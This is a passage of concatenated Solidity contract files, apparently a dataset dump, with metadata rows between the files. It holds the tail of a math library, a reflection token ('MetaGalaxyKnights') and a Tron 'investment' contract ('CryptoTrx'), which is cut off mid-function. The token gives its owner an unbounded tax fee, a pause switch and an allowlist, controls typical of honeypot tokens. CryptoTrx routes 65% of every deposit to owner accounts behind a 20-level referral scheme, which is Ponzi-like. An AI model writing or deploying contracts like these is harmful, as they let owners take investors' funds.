q = ((q * x) >> 96) + 50020603652535783019961831881945;
q = ((q * x) >> 96) - 533845033583426703283633433725380;
q = ((q * x) >> 96) + 3604857256930695427073651918091429;
q = ((q * x) >> 96) - 14423608567350463180887372962807573;
q = ((q * x) >> 96) + 26449188498355588339934803723976023;
assembly {
// Div in assembly because solidity adds a zero check despite the unchecked.
// The q polynomial won't have zeros in the domain as all its roots are complex.
// No scaling is necessary because p is already 2**96 too large.
r := sdiv(p, q)
}
// r should be in the range (0.09, 0.25) * 2**96.
// We now need to multiply r by:
// * the scale factor s = ~6.031367120.
// * the 2**k factor from the range reduction.
// * the 1e18 / 2**96 factor for base conversion.
// We do this all at once, with an intermediate result in 2**213
// basis, so the final right shift is always by a positive amount.
r = int256((uint256(r) * 3822833074963236453042738258902158003155416615667) >> uint256(195 - k));
}
}
function wadLn(int256 x) pure returns (int256 r) {
unchecked {
if (x <= 0) revert("UNDEFINED");
// We want to convert x from 10**18 fixed point to 2**96 fixed point.
// We do this by multiplying by 2**96 / 10**18. But since
// ln(x * C) = ln(x) + ln(C), we can simply do nothing here
// and add ln(2**96 / 10**18) at the end.
assembly {
r := shl(7, lt(0xffffffffffffffffffffffffffffffff, x))
r := or(r, shl(6, lt(0xffffffffffffffff, shr(r, x))))
r := or(r, shl(5, lt(0xffffffff, shr(r, x))))
r := or(r, shl(4, lt(0xffff, shr(r, x))))
r := or(r, shl(3, lt(0xff, shr(r, x))))
r := or(r, shl(2, lt(0xf, shr(r, x))))
r := or(r, shl(1, lt(0x3, shr(r, x))))
r := or(r, lt(0x1, shr(r, x)))
}
// Reduce range of x to (1, 2) * 2**96
// ln(2^k * x) = k * ln(2) + ln(x)
int256 k = r - 96;
x <<= uint256(159 - k);
x = int256(uint256(x) >> 159);
// Evaluate using a (8, 8)-term rational approximation.
// p is made monic, we will multiply by a scale factor later.
int256 p = x + 3273285459638523848632254066296;
p = ((p * x) >> 96) + 24828157081833163892658089445524;
p = ((p * x) >> 96) + 43456485725739037958740375743393;
p = ((p * x) >> 96) - 11111509109440967052023855526967;
p = ((p * x) >> 96) - 45023709667254063763336534515857;
p = ((p * x) >> 96) - 14706773417378608786704636184526;
p = p * x - (795164235651350426258249787498 << 96);
// We leave p in 2**192 basis so we don't need to scale it back up for the division.
// q is monic by convention.
int256 q = x + 5573035233440673466300451813936;
q = ((q * x) >> 96) + 71694874799317883764090561454958;
q = ((q * x) >> 96) + 283447036172924575727196451306956;
q = ((q * x) >> 96) + 401686690394027663651624208769553;
q = ((q * x) >> 96) + 204048457590392012362485061816622;
q = ((q * x) >> 96) + 31853899698501571402653359427138;
q = ((q * x) >> 96) + 909429971244387300277376558375;
assembly {
// Div in assembly because solidity adds a zero check despite the unchecked.
// The q polynomial is known not to have zeros in the domain.
// No scaling required because p is already 2**96 too large.
r := sdiv(p, q)
}
// r is in the range (0, 0.125) * 2**96
// Finalization, we need to:
// * multiply by the scale factor s = 5.549
// * add ln(2**96 / 10**18)
// * add k * ln(2)
// * multiply by 10**18 / 2**96 = 5**18 >> 78
// mul s * 5e18 * 2**96, base is now 5**18 * 2**192
r *= 1677202110996718588342820967067443963516166;
// add ln(2) * k * 5e18 * 2**192
r += 16597577552685614221487285958193947469193820559219878177908093499208371 * k;
// add ln(2**96 / 10**18) * 5e18 * 2**192
r += 600920179829731861736702779321621459595472258049074101567377883020018308;
// base conversion: mul 2**18 / 2**192
r >>= 174;
}
}
/// @dev Will return 0 instead of reverting if y is zero.
function unsafeDiv(int256 x, int256 y) pure returns (int256 r) {
assembly {
// Divide x by y.
r := sdiv(x, y)
}
}
| 132,330 | 13,496 |
d307100af0e896e40c6e8a5537c33997392127bce97926380991a5fc3c7d8255
| 29,512 |
.sol
|
Solidity
| false |
454085139
|
tintinweb/smart-contract-sanctuary-fantom
|
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
|
contracts/mainnet/fb/fbBe81355e8A3928fA044fe792BD41267e792b5f_MetaGalaxyKnights.sol
| 5,207 | 18,755 |
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract MetaGalaxyKnights is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
mapping (address => bool) public isAllowed;
address[] private _excluded;
uint8 private constant _decimals = 18;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1000000000 ether;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _tBurnTotal;
string private constant _name = 'Meta Galaxy Knights';
string private constant _symbol = 'MGK';
uint256 private _taxFee = 100;
uint256 private _burnFee = 0;
uint public max_tx_size = 1000000000 ether;
bool public isPaused = false;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
isAllowed[_msgSender()] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function totalBurn() public view returns (uint256) {
return _tBurnTotal;
}
function toggleAllowed(address addr) external onlyOwner {
isAllowed[addr] = !isAllowed[addr];
}
function unpause() external returns (bool){
require(msg.sender == owner() || isAllowed[msg.sender], "Unauth unpause call");
isPaused = false;
return true;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(account != 0xAb336a32bFf72a8f1827438Eb4003656351186bA, 'We can not exclude router.');
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!isPaused || isAllowed[sender],"Unauthorized sender,wait until unpaused");
if(sender != owner() && recipient != owner())
require(amount <= max_tx_size, "Transfer amount exceeds 1% of Total Supply.");
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && !_isExcluded[recipient]) {
_transferStandard(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getValues(tAmount);
uint256 rBurn = tBurn.mul(currentRate);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, rBurn, tFee, tBurn);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 rBurn, uint256 tFee, uint256 tBurn) private {
_rTotal = _rTotal.sub(rFee).sub(rBurn);
_tFeeTotal = _tFeeTotal.add(tFee);
_tBurnTotal = _tBurnTotal.add(tBurn);
_tTotal = _tTotal.sub(tBurn);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tBurn) = _getTValues(tAmount, _taxFee, _burnFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tBurn, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tBurn);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 burnFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = ((tAmount.mul(taxFee)).div(100)).div(100);
uint256 tBurn = ((tAmount.mul(burnFee)).div(100)).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tBurn);
return (tTransferAmount, tFee, tBurn);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tBurn, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rBurn = tBurn.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rBurn);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getTaxFee() public view returns(uint256) {
return _taxFee;
}
function _getBurnFee() public view returns(uint256) {
return _burnFee;
}
function _setTaxFee(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
}
function _setBurnFee(uint256 burnFee) external onlyOwner() {
_burnFee = burnFee;
}
function setMaxTxAmount(uint newMax) external onlyOwner {
max_tx_size = newMax;
}
}
| 334,059 | 13,497 |
87e6d3ecb95a655f45a989dd369d1122dc8afb7a58c38e593af6980573497266
| 20,731 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TH/THq3Ri1nja9qs1JmssUudxRDTFatnnJxRv_CryptoTrx.sol
| 5,490 | 19,540 |
//SourceUnit: new_bank1.sol
pragma solidity ^0.5.4;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
library Objects {
struct Investment {
uint256 planId;
uint256 investmentDate;
uint256 investment;
uint256 lastWithdrawalDate;
uint256 currentDividends;
bool isExpired;
}
struct Plan {
uint256 dailyInterest;
uint256 term; //0 means unlimited
uint256 maxDailyInterest;
}
struct Investor {
address addr;
uint256 referrerEarnings;
uint256 availableReferrerEarnings;
uint256 referrer;
uint256 planCount;
mapping(uint256 => Investment) plans;
mapping(uint256 => uint256) levelRefCount;
}
}
contract Ownable {
address public owner;
event onOwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
require(_newOwner != address(0));
emit onOwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract CryptoTrx is Ownable {
using SafeMath for uint256;
uint256 private constant INTEREST_CYCLE = 1 days;
uint256 private constant DEVELOPER_ENTRY_RATE = 600; //per thousand
uint256 private constant ADMIN_ENTRY_RATE = 50;
uint256 private constant REFERENCE_RATE = 330;
uint256 private constant DEVELOPER_EXIT_RATE = 10; //per thousand
uint256 private constant ADMIN_EXIT_RATE = 10;
mapping(uint256 => uint256) public REFERENCE_LEVEL_RATE;
uint256 public constant MINIMUM = 10000000; //minimum investment needed
uint256 public constant REFERRER_CODE = 6666; //default
uint256 public latestReferrerCode;
uint256 private totalInvestments_;
address payable private developerAccount_;
address payable private marketingAccount_;
address payable private referenceAccount_;
mapping(address => uint256) public address2UID;
mapping(uint256 => Objects.Investor) public uid2Investor;
Objects.Plan[] private investmentPlans_;
event onInvest(address investor, uint256 amount);
event onGrant(address grantor, address beneficiary, uint256 amount);
event onWithdraw(address investor, uint256 amount);
constructor() public {
developerAccount_ = msg.sender;
marketingAccount_ = msg.sender;
referenceAccount_ = msg.sender;
_init();
}
function() external payable {
if (msg.value == 0) {
withdraw();
} else {
invest(0, 0); //default to buy plan 0, no referrer
}
}
function checkIn() public {
}
function setMarketingAccount(address payable _newMarketingAccount) public onlyOwner {
require(_newMarketingAccount != address(0));
marketingAccount_ = _newMarketingAccount;
}
function getMarketingAccount() public view onlyOwner returns (address) {
return marketingAccount_;
}
function getDeveloperAccount() public view onlyOwner returns (address) {
return developerAccount_;
}
function setReferenceAccount(address payable _newReferenceAccount) public onlyOwner {
require(_newReferenceAccount != address(0));
referenceAccount_ = _newReferenceAccount;
}
function getReferenceAccount() public view onlyOwner returns (address) {
return referenceAccount_;
}
function _init() private {
latestReferrerCode = REFERRER_CODE;
address2UID[msg.sender] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = msg.sender;
uid2Investor[latestReferrerCode].referrer = 0;
uid2Investor[latestReferrerCode].planCount = 0;
investmentPlans_.push(Objects.Plan(10,320*60*60*24,10)); //320 days
REFERENCE_LEVEL_RATE[1]=120;
REFERENCE_LEVEL_RATE[2]=50;
REFERENCE_LEVEL_RATE[3]=30;
REFERENCE_LEVEL_RATE[4]=20;
REFERENCE_LEVEL_RATE[5]=10;
REFERENCE_LEVEL_RATE[6]=10;
REFERENCE_LEVEL_RATE[7]=10;
REFERENCE_LEVEL_RATE[8]=10;
REFERENCE_LEVEL_RATE[9]=10;
REFERENCE_LEVEL_RATE[10]=10;
REFERENCE_LEVEL_RATE[11]=5;
REFERENCE_LEVEL_RATE[12]=5;
REFERENCE_LEVEL_RATE[13]=5;
REFERENCE_LEVEL_RATE[14]=5;
REFERENCE_LEVEL_RATE[15]=5;
REFERENCE_LEVEL_RATE[16]=5;
REFERENCE_LEVEL_RATE[17]=5;
REFERENCE_LEVEL_RATE[18]=5;
REFERENCE_LEVEL_RATE[19]=5;
REFERENCE_LEVEL_RATE[20]=5;
}
function getCurrentPlans() public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory) {
uint256[] memory ids = new uint256[](investmentPlans_.length);
uint256[] memory interests = new uint256[](investmentPlans_.length);
uint256[] memory terms = new uint256[](investmentPlans_.length);
uint256[] memory maxInterests = new uint256[](investmentPlans_.length);
for (uint256 i = 0; i < investmentPlans_.length; i++) {
Objects.Plan storage plan = investmentPlans_[i];
ids[i] = i;
interests[i] = plan.dailyInterest;
maxInterests[i] = plan.maxDailyInterest;
terms[i] = plan.term;
}
return
(ids,
interests,
maxInterests,
terms);
}
function getTotalInvestments() public view returns (uint256){
return totalInvestments_;
}
function getBalance() public view returns (uint256) {
return address(this).balance;
}
function getUIDByAddress(address _addr) public view returns (uint256) {
return address2UID[_addr];
}
function getInvestorInfoByUID(uint256 _uid) public view returns (uint256, uint256, uint256, uint256[] memory, uint256, uint256[] memory, uint256[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investor info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
uint256[] memory RefCount = new uint256[](20);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate != 0, "wrong investment date");
currentDividends[i] = investor.plans[i].currentDividends;
if (investor.plans[i].isExpired) {
newDividends[i] = 0;
} else {
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
}
}
}
for(uint256 i = 0; i < 20; i++)
{
RefCount[i]= investor.levelRefCount[i];
}
return
(investor.referrerEarnings,
investor.availableReferrerEarnings,
investor.referrer,
RefCount,
investor.planCount,
currentDividends,
newDividends);
}
function getInvestmentPlanByUID(uint256 _uid) public view returns (uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory, uint256[] memory,uint256[] memory, bool[] memory) {
if (msg.sender != owner) {
require(address2UID[msg.sender] == _uid, "only owner or self can check the investment plan info.");
}
Objects.Investor storage investor = uid2Investor[_uid];
uint256[] memory planIds = new uint256[](investor.planCount);
uint256[] memory investmentDates = new uint256[](investor.planCount);
uint256[] memory investments = new uint256[](investor.planCount);
uint256[] memory currentDividends = new uint256[](investor.planCount);
bool[] memory isExpireds = new bool[](investor.planCount);
uint256[] memory newDividends = new uint256[](investor.planCount);
uint256[] memory interests = new uint256[](investor.planCount);
for (uint256 i = 0; i < investor.planCount; i++) {
require(investor.plans[i].investmentDate!=0,"wrong investment date");
planIds[i] = investor.plans[i].planId;
currentDividends[i] = investor.plans[i].currentDividends;
investmentDates[i] = investor.plans[i].investmentDate;
investments[i] = investor.plans[i].investment;
if (investor.plans[i].isExpired) {
isExpireds[i] = true;
newDividends[i] = 0;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
} else {
isExpireds[i] = false;
if (investmentPlans_[investor.plans[i].planId].term > 0) {
if (block.timestamp >= investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term)) {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, investor.plans[i].investmentDate.add(investmentPlans_[investor.plans[i].planId].term), investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
isExpireds[i] = true;
interests[i] = investmentPlans_[investor.plans[i].planId].dailyInterest;
}else{
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
} else {
newDividends[i] = _calculateDividends(investor.plans[i].investment, investmentPlans_[investor.plans[i].planId].dailyInterest, block.timestamp, investor.plans[i].lastWithdrawalDate, investmentPlans_[investor.plans[i].planId].maxDailyInterest);
uint256 numberOfDays = (block.timestamp - investor.plans[i].lastWithdrawalDate) / INTEREST_CYCLE ;
interests[i] = investmentPlans_[investor.plans[i].planId].maxDailyInterest;
}
}
}
return
(planIds,
investmentDates,
investments,
currentDividends,
newDividends,
interests,
isExpireds);
}
function _addInvestor(address _addr, uint256 _referrerCode) private returns (uint256) {
if (_referrerCode >= REFERRER_CODE) {
//require(uid2Investor[_referrerCode].addr != address(0), "Wrong referrer code");
if (uid2Investor[_referrerCode].addr == address(0)) {
_referrerCode = 0;
}
} else {
_referrerCode = 0;
}
address addr = _addr;
latestReferrerCode = latestReferrerCode.add(1);
address2UID[addr] = latestReferrerCode;
uid2Investor[latestReferrerCode].addr = addr;
uid2Investor[latestReferrerCode].referrer = _referrerCode;
uid2Investor[latestReferrerCode].planCount = 0;
uint256 ln =0;
while (_referrerCode >= REFERRER_CODE && ln<20)
{
uint256 _ref1 = _referrerCode;
uid2Investor[_ref1].levelRefCount[ln] = uid2Investor[_ref1].levelRefCount[ln].add(1);
ln++;
_ref1 = uid2Investor[_ref1].referrer;
}
return (latestReferrerCode);
}
function _invest(address _addr, uint256 _planId, uint256 _referrerCode, uint256 _amount) private returns (bool) {
require(_planId >= 0 && _planId < investmentPlans_.length, "Wrong investment plan id");
require(_amount >= MINIMUM, "Less than the minimum amount of deposit requirement");
uint256 uid = address2UID[_addr];
if (uid == 0) {
uid = _addInvestor(_addr, _referrerCode);
//new user
} else {//old user
//do nothing, referrer is permenant
}
uint256 planCount = uid2Investor[uid].planCount;
Objects.Investor storage investor = uid2Investor[uid];
investor.plans[planCount].planId = _planId;
investor.plans[planCount].investmentDate = block.timestamp;
investor.plans[planCount].lastWithdrawalDate = block.timestamp;
investor.plans[planCount].investment = _amount;
investor.plans[planCount].currentDividends = 0;
investor.plans[planCount].isExpired = false;
investor.planCount = investor.planCount.add(1);
_calculateReferrerReward(_amount, investor.referrer);
totalInvestments_ = totalInvestments_.add(_amount);
uint256 developerPercentage = (_amount.mul(DEVELOPER_ENTRY_RATE)).div(1000);
developerAccount_.transfer(developerPercentage);
uint256 marketingPercentage = (_amount.mul(ADMIN_ENTRY_RATE)).div(1000);
marketingAccount_.transfer(marketingPercentage);
return true;
}
function grant(address addr, uint256 _planId) public payable {
